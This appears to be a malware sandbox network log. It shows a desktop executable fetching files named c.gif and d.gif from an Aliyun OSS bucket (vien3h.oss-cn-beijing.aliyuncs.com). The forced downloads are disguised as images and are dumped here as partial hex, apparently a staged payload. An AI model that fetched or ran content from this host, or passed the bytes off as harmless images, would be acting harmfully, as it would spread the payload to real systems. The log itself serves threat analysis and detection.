2025-01-16 02:54:21 UTC	3549	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 02 00 00 00 02 00 08 03 00 00 00 c3 a6 24 c8 00 00 01 da 50 4c 54 45 00 00 00 f7 cd 48 f0 d2 4b f5 cd 46 0f a5 f0 f7 ce 47 f7 cd 48 f7 cc 47 f7 cd 48 f7 cd 48 f5 cd 44 f6 ce 49 f6 cd 47 f6 cd 47 66 c9 46 66 c9 48 66 c9 46 66 ca 45 f6 cd 48 f6 cc 48 f7 cc 48 f6 cc 48 f6 cd 48 0f a0 eb 12 a2 ea f8 cd 48 11 a2 e9 10 a1 e9 f7 cd 48 f6 cd 47 10 a2 ea 11 a1 ea f6 cd 47 11 a2 eb 10 a1 ea 12 a1 e8 0f a5 e8 10 a2 ea 11 a2 e9 f6 cc 47 ff da 48 11 a1 e9 11 a2 e9 00 99 ff 11 a1 e9 10 a2 ea 11 a1 e9 10 a3 ea 11 a1 e9 00 bf ff 00 aa ff 11 a2 e9 00 91 da 11 a0 e7 10 a2 ea 10 a1 e9 10 a2 eb 11 a1 e9 11 a2 ea 11 a1 e9 10 a2 e9 0f 9f ef 10 a2 e9 10 a2 ea 13 a6 eb 10 a1 ea 10 a1 e9 1f 9f df 11 a1 e9 11 a4 e8 10 a1 e9 10 Data Ascii: PNGIHDR$PLTEHKFGHGHHDIGGfFfHfFfEHHHHHHHGGGH
2025-01-16 02:54:21 UTC	4096	IN	Data Raw: 5e 5f 58 dd 1d c6 90 d1 17 9e 99 14 9f 9f e8 24 70 eb ab e0 64 64 64 65 66 67 60 61 62 63 7c 7d 7e 7f 78 fd 3f eb 9c b1 ed f3 3f 51 9e f7 4d c4 05 d1 c5 c5 8e 4c 31 81 43 ca 47 17 86 4c 11 d9 3a 49 f3 d5 d6 21 1b d8 ae d6 66 c5 de df e0 a9 69 2c 0c cd ed e7 e8 a1 61 b7 c8 dd a6 64 37 b9 71 37 d4 aa 35 3b 34 35 36 37 30 31 32 33 cc cd ce cf c8 4d 8b 02 89 1b 0b 0b 44 84 0f 47 93 d0 1a fa 4d 32 16 17 d4 d5 d6 d7 d0 d1 d2 d3 ec ed ee ef e8 6d ab 22 b9 a1 2b 2b 64 ea 6f 3f 30 31 32 33 7c bc 77 3f 70 b4 3f dd 2e 3c 3e 77 c9 40 0a c8 85 86 8a 8b 84 85 86 87 80 81 82 83 9c 9d 9e 9f 98 1d d5 bb 10 11 d7 17 78 7d b6 9d 9f 9e 9d 2b e9 70 7d c1 69 69 22 e6 20 49 4e 87 11 59 72 73 b8 35 25 3f fb 95 5a 33 f7 a4 36 f4 42 c9 0f 8e 81 97 87 87 87 de 4a c3 01 de 86 c7 19 Data Ascii: ^_X$pdddefg`abc\|}~x??QML1CGL:I!fi,ad7q75;45670123MDGM2m"++do?0123\|w?p?.<>w@x}+p}ii" INYrs5%?Z36BJ
2025-01-16 02:54:21 UTC	4096	IN	Data Raw: 6d 6d 6b 6a 06 df 1b 5d a2 58 50 d5 1d 73 88 18 aa a3 a4 a5 4e a1 a8 a9 aa 3b e4 2e 6a 87 73 38 fe 97 bc fd 35 5b 90 00 ad bb bc bd 41 aa f1 c1 c3 c3 41 05 b2 cf 43 8d ee fb 47 05 03 e6 98 5c df bd 6f d4 d6 3f ad d9 da db 94 56 9a fb c8 a9 6b e6 b1 59 e7 e7 a0 64 ae cf c4 a5 6d 2f f8 b9 7b f6 11 4e f7 f7 b0 72 ff c5 40 fc fe b7 89 04 ad b9 05 05 c1 02 9d b3 0b 0b 05 09 0e cf d7 14 9d a9 15 15 17 17 18 19 dd 1e 85 a7 1f 1f 21 21 22 23 9c 2d 26 27 28 61 41 eb 2c 65 a3 22 a1 8b 33 33 bf 61 12 07 70 b0 2e 3a 74 b0 33 f5 42 40 42 ab 09 bb b9 b8 d8 01 c9 8f 64 8e 82 83 9c 19 db 0f 70 75 01 1f db b5 1a 13 d7 84 a1 4a 01 9e 62 63 2c ee dd 9f 68 69 6a 23 e1 39 4a 3f 38 fa bd 36 47 b5 89 62 29 86 7a 7b 34 f8 be 0b b2 c9 01 e7 a0 bd 86 cf 05 c5 ae d3 c4 06 da ab c0 Data Ascii: mmkj]XPsN;.js85[AACG\o?VkYdm/{Nr@!!"#-&'(aA,e"33ap.:t3B@BdpuJbc,hij#9J?86Gb)z{4
2025-01-16 02:54:21 UTC	4096	IN	Data Raw: c2 4b 9b bd e2 b3 b8 d1 11 54 fa 92 e1 ef 78 e4 29 53 97 53 4e e5 ab a9 aa ef 27 a2 9d 7d f5 34 7b bc 30 77 b6 b7 b8 f5 31 fc b4 f1 33 aa 41 0e 3d 3c 8c 4e 81 df 43 02 8e f0 3c b1 d5 87 11 39 f2 97 ef 25 a9 c5 5d 10 51 01 57 2f d1 9b 39 68 be c7 cc ea ce 93 cc c9 ab e4 5a e5 11 2d 73 10 fd b9 fb 4b 72 e6 f8 dd fb fb be 77 72 ee 10 25 03 03 48 2e c6 46 83 49 f6 d8 e4 41 87 48 18 98 55 0b 55 1a a0 1f 9b f8 15 51 13 a3 9a 0e 20 05 23 23 66 af aa 36 38 0d 2b 2b 60 06 ee 6e bb 71 ce e0 dc 79 bf 70 30 b0 7d 27 7d 32 88 37 c3 a0 4d 09 4b fb c2 56 48 6d 4b 4b 0e c7 c2 5e 40 75 53 53 18 7e 96 16 d3 19 a6 88 b4 11 d7 18 68 e8 25 43 25 ee 66 2e eb a9 6e 27 e5 2a 66 e6 37 55 33 48 a5 7a f3 3e 87 86 85 84 ba 1b 71 00 f4 a5 c2 cb 09 d1 a2 c7 01 fd ae b3 c4 06 41 67 c9 Data Ascii: KTx)SSN'}4{0w13A=<NC<9%]QW/9hZ-sKrwr%H.FIAHUUQ ##f68++`nqyp0}'}27MKVHmKK^@uSS~h%C%f.n'*f7U3Hz>qAg
2025-01-16 02:54:21 UTC	4096	IN	Data Raw: 19 d1 84 d1 1d 87 d9 96 2c 92 1f 7c 91 d5 af 1f 26 92 a4 81 a7 a7 ea 23 26 9a bc 89 af af fc 9a 7a f2 3f f4 4a 64 50 ba 4a 30 7a f4 bd 7d 88 c2 05 8b ff 1d b4 ec 89 c6 7c c2 8d 32 0e 4c 31 de 98 dc 6a 51 e7 d7 fc d8 da 99 56 51 ef cf c4 e0 e2 af cf 2d a7 6c b9 15 39 01 13 27 ab d4 33 83 57 b6 71 35 f9 b3 2d 72 38 10 fe 76 3b b7 8b 5d 26 13 4c 8e 6a 23 10 41 81 7f 28 2d 46 84 6c 35 3a 52 4a d6 da db d4 51 93 47 38 15 56 96 54 05 32 6b ad 59 02 3f 69 7c 6b 7d 6d 7a 66 ac dc 01 7f b8 c5 7c bd ef 70 b2 c8 77 b7 d4 0d c0 01 78 3a 47 30 4a 0b 24 30 4d a2 b9 b8 b2 b1 06 dd 45 55 b8 52 1d dd 80 1c d2 a5 13 d9 8f 51 db 17 60 62 63 21 e0 99 13 79 81 b9 9f 93 92 26 e4 b8 39 11 30 70 3d 75 bf 93 7a 32 f0 b3 3d 46 06 90 8e 06 d7 85 85 86 be f3 81 ff 83 b5 b6 81 02 d7 Data Ascii: ,\|&#&z?JdPJ0z}\|2L1jQVQ-l9'3Wq5-r8v;]&Lj#A(-Fl5:RJQG8VT2kY?i\|k}mzf\|pwx:G0J$0MEURQ`bc!y&90p=uz2=F
2025-01-16 02:54:21 UTC	4096	IN	Data Raw: de 1a f0 b1 a6 df 11 dd be b3 d0 14 ea bb 80 49 6d 55 5b 5a ea 2c d5 29 e7 20 eb a5 e6 22 a5 21 1d 4c 4b f4 b9 01 b0 3a 5b b4 f4 b2 00 3b d1 c1 e6 c2 c4 4f 4a d6 d8 ed cb cb 80 e6 0e 8e 5b 91 2e 00 3c 98 5f 90 d0 98 53 9c c4 9c d1 69 e8 62 03 ec ac ea 58 63 f9 e9 ce ea ec 67 62 fe e0 d5 f3 f3 b8 de 36 b6 73 b9 06 28 14 b0 77 b8 08 40 8b 44 18 44 09 b1 00 8a eb 04 44 02 b0 8b 01 11 36 12 14 9f 9a 06 08 3d 1b 1b 50 36 de 5e ab 61 de f0 cc ae 6a 03 40 68 a3 6c 0c d2 ef 62 b9 76 3a 7a b9 75 32 76 b3 29 73 b2 7b 35 7f b6 17 65 cb 0f 60 2d 7d 0a 88 46 c8 5a b2 b2 b1 0e a6 57 12 27 05 1c dd 81 10 d2 94 b3 69 81 a1 a0 e4 a1 6d e7 f0 65 66 67 83 55 e9 16 9c 6d 18 59 f0 cc 8a 73 74 75 76 78 fd ee 7a 7b 7c f6 fb 7f 81 81 82 cf 0f 4b ca 0e ec ad b2 c6 07 48 07 cb b4 Data Ascii: ImU[Z,) "!LK:[;OJ[.<_SibXcgb6s(w@DDD6=P6^aj@hlbv:zu2v)s{5e`-}FZW'imefgUmYstuvxz{\|KH
2025-01-16 02:54:21 UTC	4096	IN	Data Raw: 19 52 57 d5 c5 df 1b 75 ba d3 17 44 d6 14 62 e9 2f ae 41 67 a6 a7 a7 fe 6a e3 25 a6 e6 22 e3 b9 fa 3e fc bd b9 a6 ba 51 99 6c 43 42 f6 32 c5 29 06 c3 c4 8d 4f c4 80 42 09 83 4f 09 ee 94 13 99 51 b2 c4 d5 9e 5a dd 39 1e db dc 95 57 9e e8 a9 6f e6 21 21 e6 e7 a0 60 eb a3 67 2c 2d 23 3c b1 a1 a5 a3 b4 a2 b6 ad b8 ac ba ab b5 7d 13 70 49 89 fa 41 36 f9 43 81 75 2e 2b 48 2c b2 2b a0 11 12 13 58 34 6a 33 30 55 3b a7 38 d5 1e 1f 20 c9 85 ff db da 6a ac 40 01 66 a2 40 09 6e c7 a9 ed cd cc 7c be 76 17 70 b0 be 1f fc 3d 3e 3f 08 ca 35 13 0c cc f2 63 f0 49 4a 4b 04 c6 09 07 18 d8 16 77 64 1d dd 08 18 11 d1 1c 6c 15 d7 1b 44 29 2e e8 13 4d 2a ee 1c 4d 3a 23 e7 a6 86 29 7f 71 72 9b 21 a9 89 88 30 f0 0a 5b 94 31 a2 80 7f c9 0b db ac 6d c5 5b 77 76 c2 00 dc ad c6 04 c2 Data Ascii: RWuDb/Agj%">QlCB2)OBOQZ9Wo!!`g,-#<}pIA6Cu.+H,+X4j30U;8 j@f@n\|vp=>?5cIJKwdlD).M*M:#)qr!0[1m[wv
2025-01-16 02:54:21 UTC	4096	IN	Data Raw: b6 83 dd 52 57 b7 9d 0a 83 72 99 9d 9e 9f 6c 6d 6e 6f 68 66 6a 6b 64 65 66 67 60 61 62 63 7c 7d 7e 7f 78 76 7a 7b 74 f1 31 be a9 0f be bf 88 4c d7 ad 73 3a 39 8f f3 0b be e8 a9 85 45 cb f5 e1 d2 d3 d4 9d 5d 5e 40 d9 da db 94 e6 96 cf 92 e7 aa d8 ac ed 90 e0 51 e4 ea eb ec 20 c7 2c 3c b1 a1 bb 77 19 d6 c4 23 b1 77 ee 81 8c ff ff 45 32 c2 4b 89 09 9d 4f 85 05 c0 b1 ac 02 0e 0f f8 c9 10 13 14 90 d6 63 09 e6 1f 9d 6d 1c 1e e0 e3 a2 d9 22 56 f6 96 26 c3 2e c2 21 2c 2d 2e 1d f0 79 b1 f7 14 6e f5 fb f4 79 69 73 bf d1 1e b4 5d 21 33 42 44 ae 5b 0f c5 4c 65 3a 4d 4d b1 84 18 dc 5e c8 1c d8 5a 9f a7 4c 4d eb 5c 5d a1 52 21 10 63 63 e1 be 13 b8 d8 68 22 e8 a8 4d 35 ac bc 39 fb 2f 50 7d 3e fe 14 5d 6a 33 f5 09 5a 67 d7 c0 d6 c2 d1 c4 d0 c6 df c1 09 67 ac 06 77 c3 1d Data Ascii: RWrlmnohfjkdefg`abc\|}~xvz{t1Ls:9E]^@Q ,<w#wE2KOcm"V&.!,-.ynyis]!3BD[Le:MM^ZLM\]R!cch"M59/P}>]j3Zggw
2025-01-16 02:54:21 UTC	4096	IN	Data Raw: 18 94 1c 96 de 68 5b d0 17 e4 9e dd 1a 69 d4 bd e2 27 49 d0 0c e7 28 57 8a df aa ed 2e 51 b9 c4 2c fb 31 6e c2 be 7e fa 45 bb 57 be f6 40 0f 81 f0 35 4e c2 42 07 c7 4d 1c cb cc cd f2 ef a4 d5 ee da a1 d2 9e 28 1f 53 dd 30 2d 59 1e d0 64 5e e2 e3 e4 a8 63 11 9c ee a3 62 f2 a4 6d 29 f8 b8 0d b6 f4 4f f7 f7 f8 f9 c9 3b 17 f8 b6 00 c7 fe c2 89 0b 85 ff 5b 7c fd 8a f2 2e 78 3f 8b d2 64 0a 53 90 e3 62 1d 20 56 1b 6e 19 55 e1 d8 cb 28 11 f1 64 a1 d0 67 27 bd ec fa c4 c6 3f d0 f8 79 b7 e8 40 33 f0 34 64 71 c5 f8 75 c2 3a 1b c5 81 37 a8 ce 42 c2 87 3c 0f 0a cf ba 38 46 73 70 25 6f 6f 5d 21 6f d2 8a 2d 77 13 d9 86 2a 5a e8 62 2a 9c a7 6a d8 68 80 99 59 6b 6c e8 ae 1b 63 38 8d 77 50 3d 89 b0 30 fc a1 0f 7b f7 79 f7 83 c9 7d 40 cd 7a 82 a3 c0 76 4d 62 e9 72 71 70 d8 Data Ascii: h[i'I(W.Q,1n~EW@5NBM(S0-Yd^cbm)O;[\|.x?dSb VnU(dg'?y@34dqu:7B<8Fsp%oo]!o-wZbjhYklc8wP=0{y}@zvMbrqp
2025-01-16 02:54:21 UTC	4096	IN	Data Raw: 51 9b dc 16 6d 8f ed 48 d2 10 91 71 cd 9e a0 49 dd 58 5b 5a ee 24 8d 76 f9 aa ac ad e6 2c 74 91 e9 70 78 fd 35 76 88 f1 45 9e 19 2d be bf 0c 89 41 02 f4 8d 39 e2 69 59 ca cb 00 85 47 93 f4 d9 9e 5a 98 f1 f6 80 90 5a 36 fb 95 56 07 96 6b 19 69 e9 0c 8d ec e7 e8 79 a2 60 eb a5 65 e7 b8 7a 73 7b f4 f5 f6 07 07 f9 71 f0 14 59 f4 ff 00 49 89 5f 20 35 4e 84 cc 29 55 c8 c0 45 87 53 34 19 5e 9a 58 31 36 40 50 9a f6 3b 55 96 c7 56 ab d9 a9 29 cc 0d 2c 27 28 b9 62 a0 23 1e fc 67 bb 38 da 95 36 35 36 a7 b3 32 d2 5d 36 3d 3e 77 cb 1d 66 73 0c c6 82 67 17 8a 86 87 80 05 c7 13 74 59 1e da 18 71 76 00 10 da b6 7b 15 d6 87 16 eb 99 e9 69 8c 8d 6f 67 68 f9 22 e0 2b 65 26 e4 60 39 f9 7c 3c fe 64 3f f3 70 92 25 7e 7d 7e ef 0b 8a 6a 9d 8e 85 86 cf 03 d5 ae bb c4 0e 4a af cf Data Ascii: QmHqIX[Z$v,tpx5vE-A9iYGZZ6Vkiy`ezs{qYI_ 5N)UES4^X16@P;UV),'(b#g86562]6=>wfsgtYqv{iogh"+e&`9\|<d?p%~}~jJ

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49739	39.103.20.17	443	7320	C:\Users\user\Desktop\153776434-874356550.05.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-16 02:54:23 UTC	106	OUT	GET /c.gif HTTP/1.1 User-Agent: 3M Host: vien3h.oss-cn-beijing.aliyuncs.com Cache-Control: no-cache
2025-01-16 02:54:23 UTC	546	IN	HTTP/1.1 200 OK Server: AliyunOSS Date: Thu, 16 Jan 2025 02:54:23 GMT Content-Type: image/gif Content-Length: 10681 Connection: close x-oss-request-id: 678874DF9DBA123531009646 Accept-Ranges: bytes ETag: "10A818386411EE834D99AE6B7B68BE71" Last-Modified: Mon, 13 Jan 2025 12:21:18 GMT x-oss-object-type: Normal x-oss-hash-crc64ecma: 10287299869673359293 x-oss-storage-class: Standard x-oss-ec: 0048-00000104 Content-Disposition: attachment x-oss-force-download: true Content-MD5: EKgYOGQR7oNNma5re2i+cQ== x-oss-server-time: 10
2025-01-16 02:54:23 UTC	3550	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 02 00 00 00 02 00 08 03 00 00 00 c3 a6 24 c8 00 00 01 da 50 4c 54 45 00 00 00 f7 cd 48 f0 d2 4b f5 cd 46 0f a5 f0 f7 ce 47 f7 cd 48 f7 cc 47 f7 cd 48 f7 cd 48 f5 cd 44 f6 ce 49 f6 cd 47 f6 cd 47 66 c9 46 66 c9 48 66 c9 46 66 ca 45 f6 cd 48 f6 cc 48 f7 cc 48 f6 cc 48 f6 cd 48 0f a0 eb 12 a2 ea f8 cd 48 11 a2 e9 10 a1 e9 f7 cd 48 f6 cd 47 10 a2 ea 11 a1 ea f6 cd 47 11 a2 eb 10 a1 ea 12 a1 e8 0f a5 e8 10 a2 ea 11 a2 e9 f6 cc 47 ff da 48 11 a1 e9 11 a2 e9 00 99 ff 11 a1 e9 10 a2 ea 11 a1 e9 10 a3 ea 11 a1 e9 00 bf ff 00 aa ff 11 a2 e9 00 91 da 11 a0 e7 10 a2 ea 10 a1 e9 10 a2 eb 11 a1 e9 11 a2 ea 11 a1 e9 10 a2 e9 0f 9f ef 10 a2 e9 10 a2 ea 13 a6 eb 10 a1 ea 10 a1 e9 1f 9f df 11 a1 e9 11 a4 e8 10 a1 e9 10 Data Ascii: PNGIHDR$PLTEHKFGHGHHDIGGfFfHfFfEHHHHHHHGGGH
2025-01-16 02:54:23 UTC	4096	IN	Data Raw: 4d cf 62 ff 5a 3f 30 31 3a fe ee 75 37 8a ba 5b 85 e1 ec 6b 35 10 78 f6 6d 36 3d 23 d2 d0 cd ab db f8 37 32 1f 37 11 bf 96 19 b0 c6 be a6 a0 ee eb 24 5d 48 ae 73 f3 f5 c5 94 b0 70 dd c6 5c 11 f5 e3 28 66 41 36 66 ef 88 eb 8b 2d 92 d1 9e 9a 8e 78 c0 74 34 67 7b b1 f3 fc 59 49 81 89 f5 cf 42 a2 b8 b8 7a d9 bb 7f 45 04 62 02 52 34 b9 0e 45 7f ce ff c3 12 7c ec ed 9c 64 e7 85 d4 e8 6d e9 e8 2d c8 3d 69 6a 0d 66 e5 c2 e6 27 9e d7 9e 98 68 92 43 fb c4 05 18 16 a9 a8 72 cc e5 66 13 b1 0c 24 22 dc 23 42 b1 c5 b3 c5 9f fd f3 d6 88 82 8e d7 81 8f 50 ee 36 68 55 e9 6b 5a ae a1 ec ca 4e e8 e9 82 52 74 0c 38 e0 2c 9b 17 6f 51 cf 4d 52 2a df 70 1d 00 4d 53 4a 65 f0 2f 99 7a fa 82 f9 0c fb 20 75 c3 54 ed 1d 83 3b 0b af 29 d0 11 b9 47 4d 64 2c b9 73 9e 4e 8d b6 ee f3 66 Data Ascii: MbZ?01:u7[k5xm6=#727$]Hsp\(fA6f-xt4g{YIBzEbR4E\|dm-=ijf'hCrf$"#BP6hUkZNRt8,oQMR*pMSJe/z uT;)GMd,sNf
2025-01-16 02:54:23 UTC	3035	IN	Data Raw: 0f 4c 5d 7f 79 25 b9 af f5 fa ff 2d d5 2f 9e 63 5a b4 eb 3c f8 2b dc 07 58 64 ef 7d 5f 68 f0 fa 8a e5 34 38 ff db ca a6 fb c5 61 06 c2 2a ef f0 07 da ad 1f 37 88 9e 3f 37 39 3a 64 4f 74 4c 1c 4f ed 8c 04 e8 32 2f 75 52 85 d3 c1 84 aa 26 20 b4 ef d2 50 e0 65 aa 59 8a eb 7f 04 7f cb 20 fc 09 65 90 40 b9 6c 83 0b ea fe ae a2 b0 2a 83 e0 55 8e c7 4f 10 9c 2e 0c 87 d5 7f 34 18 a1 4d 99 78 06 2b 80 c4 6e 0a 78 03 f4 c4 a6 5d 85 aa fc ce ec 05 9f 47 96 b7 e0 d0 c3 4d 07 1c 93 32 b7 41 1d f1 42 ea c2 af 1c 76 47 ce 69 21 ab b9 ca b8 0d 8c 28 8a f0 3e 70 0a d6 52 7a b0 e5 4d 54 5e 49 25 92 dc fe f8 6f c3 6a 72 b7 08 1a 6f 03 1f b2 0c dc f0 35 6c 4f a9 29 7a c1 f4 63 78 16 6c d9 94 34 46 75 19 48 f8 2d 56 35 df 65 55 d3 05 98 53 87 ae 10 a2 c3 46 bc c5 1c 6f 69 f0 Data Ascii: L]y%-/cZ<+Xd}_h48a7?79:dOtLO2/uR& PeY e@lUO.4Mx+nx]GM2ABvGi!(>pRzMT^I%ojro5lO)zcxl4FuH-V5eUSFoi

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49743	39.103.20.17	443	7320	C:\Users\user\Desktop\153776434-874356550.05.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-16 02:54:24 UTC	106	OUT	GET /d.gif HTTP/1.1 User-Agent: 3M Host: vien3h.oss-cn-beijing.aliyuncs.com Cache-Control: no-cache
2025-01-16 02:54:25 UTC	547	IN	HTTP/1.1 200 OK Server: AliyunOSS Date: Thu, 16 Jan 2025 02:54:24 GMT Content-Type: image/gif Content-Length: 3892010 Connection: close x-oss-request-id: 678874E0A152383231611D9C Accept-Ranges: bytes ETag: "E4E46F3980A9D799B1BD7FC408F488A3" Last-Modified: Mon, 13 Jan 2025 12:21:29 GMT x-oss-object-type: Normal x-oss-hash-crc64ecma: 3363616613234190325 x-oss-storage-class: Standard x-oss-ec: 0048-00000104 Content-Disposition: attachment x-oss-force-download: true Content-MD5: 5ORvOYCp15mxvX/ECPSIow== x-oss-server-time: 43
2025-01-16 02:54:25 UTC	3549	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 02 00 00 00 02 00 08 03 00 00 00 c3 a6 24 c8 00 00 01 da 50 4c 54 45 00 00 00 f7 cd 48 f0 d2 4b f5 cd 46 0f a5 f0 f7 ce 47 f7 cd 48 f7 cc 47 f7 cd 48 f7 cd 48 f5 cd 44 f6 ce 49 f6 cd 47 f6 cd 47 66 c9 46 66 c9 48 66 c9 46 66 ca 45 f6 cd 48 f6 cc 48 f7 cc 48 f6 cc 48 f6 cd 48 0f a0 eb 12 a2 ea f8 cd 48 11 a2 e9 10 a1 e9 f7 cd 48 f6 cd 47 10 a2 ea 11 a1 ea f6 cd 47 11 a2 eb 10 a1 ea 12 a1 e8 0f a5 e8 10 a2 ea 11 a2 e9 f6 cc 47 ff da 48 11 a1 e9 11 a2 e9 00 99 ff 11 a1 e9 10 a2 ea 11 a1 e9 10 a3 ea 11 a1 e9 00 bf ff 00 aa ff 11 a2 e9 00 91 da 11 a0 e7 10 a2 ea 10 a1 e9 10 a2 eb 11 a1 e9 11 a2 ea 11 a1 e9 10 a2 e9 0f 9f ef 10 a2 e9 10 a2 ea 13 a6 eb 10 a1 ea 10 a1 e9 1f 9f df 11 a1 e9 11 a4 e8 10 a1 e9 10 Data Ascii: PNGIHDR$PLTEHKFGHGHHDIGGfFfHfFfEHHHHHHHGGGH
2025-01-16 02:54:25 UTC	4096	IN	Data Raw: 76 3b 9a 2f a5 d0 56 ab c4 f4 cc a1 12 27 f0 11 4c 94 ef 12 31 58 23 3c c6 b1 ec ba 45 96 46 46 f6 24 8e 89 dd b1 38 89 66 c2 79 d2 b3 b5 25 19 80 c7 28 f9 85 7d 8d 49 94 e3 d2 8b 92 cb f1 27 a5 1e 65 9a 0d 24 21 88 82 f8 05 e3 7e 27 2d b8 d1 e3 32 71 8d ad 95 6c 46 1c 3b d8 e9 eb 13 24 94 d8 16 f1 f4 38 83 ee f5 d4 be 1d b9 53 fa 70 d4 ee cc a4 15 79 67 9f 06 cb 07 19 b1 3e 7c b5 65 18 68 0a c6 22 13 ed 4c ea 2c ff 32 4f 94 a2 b5 94 ef ee d9 86 62 ff a7 83 cf f0 ea c9 44 53 4d 8a 6c 9b cc 06 f2 e6 13 fa 3c 21 8d f7 9f 32 cd 95 50 9a 71 01 f0 c6 0b dd 04 f0 5b 24 6b c6 6c 7f 35 67 68 4a 5b 2d df 32 af ed a0 7b 95 d7 43 07 d1 fb 17 0b 43 df 87 62 69 46 68 e0 eb 47 28 a3 81 aa 32 08 bc 21 f8 7a 14 93 1b c6 2c 1b 7d c3 10 5b d1 12 f7 56 c2 1c 7c e4 85 f3 c4 Data Ascii: v;/V'L1X#<EFF$8fy%(}I'e$!~'-2qlF;$8Spyg>\|eh"L,2ObDSMl<!2Pq[$kl5ghJ[-2{CCbiFhG(2!z,}[V\|
2025-01-16 02:54:25 UTC	4096	IN	Data Raw: 77 a8 c4 d9 fd a7 56 28 73 5f 0f 7f 3b 00 66 82 36 d4 2f 7b 1c 50 0d 90 42 5e 0e b6 3d dc 83 58 6a 35 e0 f2 6f 3a a8 d5 ee 37 cd 99 ee 9c 06 8c d0 87 05 97 4d 50 36 97 03 25 ea e1 52 3c bb 3e 25 ca 4d a1 9a de 65 27 6e 38 2d 65 92 e5 96 84 ff 4a 69 e4 8b 0a 8b 94 f6 d4 7c 01 80 fb e0 03 ea 19 32 5d 29 28 3c ad 5d b5 fc 74 7f 9a bf fa 5f aa b3 08 b5 0d 57 25 c0 b8 67 cb 8c bc e8 48 4a 02 a5 57 78 65 40 ad c1 5a 91 f1 85 ed 06 07 63 d1 27 0a 48 fc b3 b0 df 6f a6 ee 6a 10 26 82 2e 2b 90 38 ca 76 a6 a6 73 fc a4 31 18 8b bd 07 98 fc 6b e9 ca cc 83 78 6a 94 92 3f 5d 02 57 0e 0c a9 36 a3 64 c6 b8 98 a5 03 28 be 9c a1 91 80 1b b7 e8 6f 73 1a dc 78 f5 54 c0 09 e3 53 1a 57 f1 88 1f f9 f7 41 dd c4 eb 74 19 ad 09 5d 4b c5 25 7f a9 10 ba 2e 1a 5c 79 23 15 00 2d cb 6f Data Ascii: wV(s_;f6/{PB^=Xj5o:7MP6%R<>%Me'n8-eJi\|2])(<]t_W%gHJWxe@Zc'Hoj&.+8vs1kxj?]W6d(osxTSWAt]K%.\y#-o
2025-01-16 02:54:25 UTC	4096	IN	Data Raw: 97 9b 9d 99 9d 9b 95 97 95 8b 8d 89 8d 8b b5 b7 b5 bb bd bf 2d db b5 b7 b1 8b 8d 8f 8d 8b 95 95 95 fb 9c 9f 9d 8b 95 97 95 8b 8d 8f 9d 8b f5 f7 f5 fb fd ff fd eb f5 f7 f5 8b 8d 8f 9d 8b 95 97 95 9b 9d 9f 9d 9b 95 87 95 8b 8d 8f 12 a4 b5 e6 b5 bb bd ff 4a 92 b5 3b b5 8b 8d 8f 0d eb 95 77 94 9b 9d df 82 fb 95 0f a8 8b 8d 8f 8d 8b 75 77 75 7b 7d 7f 1d 1b 75 47 60 8b 8d 8f 8d 8b 95 97 95 9b 9d 9f 9d 9b 95 97 95 8b 8d 8f 8d 8b b5 b7 b5 bb bd bf bd bb b5 b7 b5 8b 8d 8f 93 eb 95 d7 94 9b 9d 9f 9d 9b 95 97 95 8b 8d 8f cd ae f5 7f f5 fb fd ff fd fb f5 f7 f5 8b 8d 8f 8d 8b 95 97 95 9b 9d 9f 9d 9b 95 97 95 8b 8d a1 f9 ee cd c3 b5 bb bd ef d4 ba b5 b7 a5 8b 8d 8f 8d 8b 95 97 95 9b 9d 9f 9d 9b 95 97 95 8b 8d 8f 8d 8b 75 57 75 7b 1d 51 0f 1f 14 03 14 8b 8d f9 36 8b 95 Data Ascii: -J;wuwu{}uG`uWu{Q6
2025-01-16 02:54:25 UTC	4096	IN	Data Raw: 69 18 0b cc ef 77 23 0b dc 62 f5 92 bd ff f0 55 8b 71 aa 3a 3d 2b 0e e8 a2 e1 cd ea 57 ca 72 3f 3b a3 53 99 f3 19 2d 50 82 0e 0d 67 11 12 78 ff f7 c0 c2 9c d0 1f 35 b3 d6 c1 15 8b 71 1a 1f 9f 00 52 44 b6 6f bf 5c 42 7e 10 b4 79 e0 70 9b ec ea 3e 72 2b 74 62 9c c8 03 89 51 17 b4 ee 50 26 6c f4 04 88 dc ad 35 53 4d 06 b8 17 18 42 ac 5e c3 76 8a e3 0f 55 bd 10 fb 3f 3d a9 48 9d ea 3a a4 e2 a6 b4 3f 76 ce a4 1c 7c fb f9 82 7d fe 97 54 b4 b3 68 d2 ca 6b fa 63 cb 18 ff 4a 19 f9 7b ce a8 14 4b 2d e1 e4 ac ec 85 7b 1e 75 a1 29 ef 25 b4 c1 12 a6 c8 7c 21 bf 95 a2 cb d0 51 3b 62 af 3a aa cc 42 6d 00 8c 79 d0 be 06 b6 82 9f 76 84 17 1f 9e 9d b0 29 42 92 30 ee 02 cb 2e 78 cc a6 12 f0 07 e3 66 63 9f 49 05 39 61 2f 8e d5 7d 9a 70 87 1f c6 95 13 f3 f5 88 62 22 f4 1a 33 Data Ascii: iw#bUq:=+Wr?;S-Pgx5qRDo\B~yp>r+tbQP&l5SMB^vU?=H:?v\|}ThkcJ{K-{u)%\|!Q;b:Bmyv)B0.xfcI9a/}pb"3
2025-01-16 02:54:25 UTC	4096	IN	Data Raw: 59 fc a8 65 45 fc 8d 05 fd fb b3 9f 14 a2 f6 f8 cc c4 eb 39 9d d3 a3 9f a0 42 0a 18 58 74 c7 69 1d eb 8b bf f8 0a 86 d0 b8 94 b7 61 b0 9e 73 a2 69 b3 40 d3 c4 61 59 75 53 34 0e c7 4a cf b1 8f a5 1c 40 ae d5 10 f9 b3 9d 63 52 15 9e 8b 52 f6 a8 f0 ad 49 d7 f7 72 8e 78 64 f5 39 5f 0b 52 de 78 1c 55 45 37 4b fa 52 4d 22 ef 1a 7a 2b 77 55 11 34 b8 02 76 4b bc 41 00 36 50 70 72 34 04 b2 fc fc b3 02 62 64 d3 fa df dd e5 b8 e2 bd 6c e5 a6 e2 23 8e 49 61 66 4b de 3e d6 1f 11 74 6a d1 49 c0 da 1e df 8c f9 36 8a 61 dc e3 8e c6 1a 21 61 99 12 00 4b bc 3f 2f 86 71 66 94 e7 b9 fd a5 2f a6 09 9c b6 7f c9 3c 7d 99 5e d8 fd 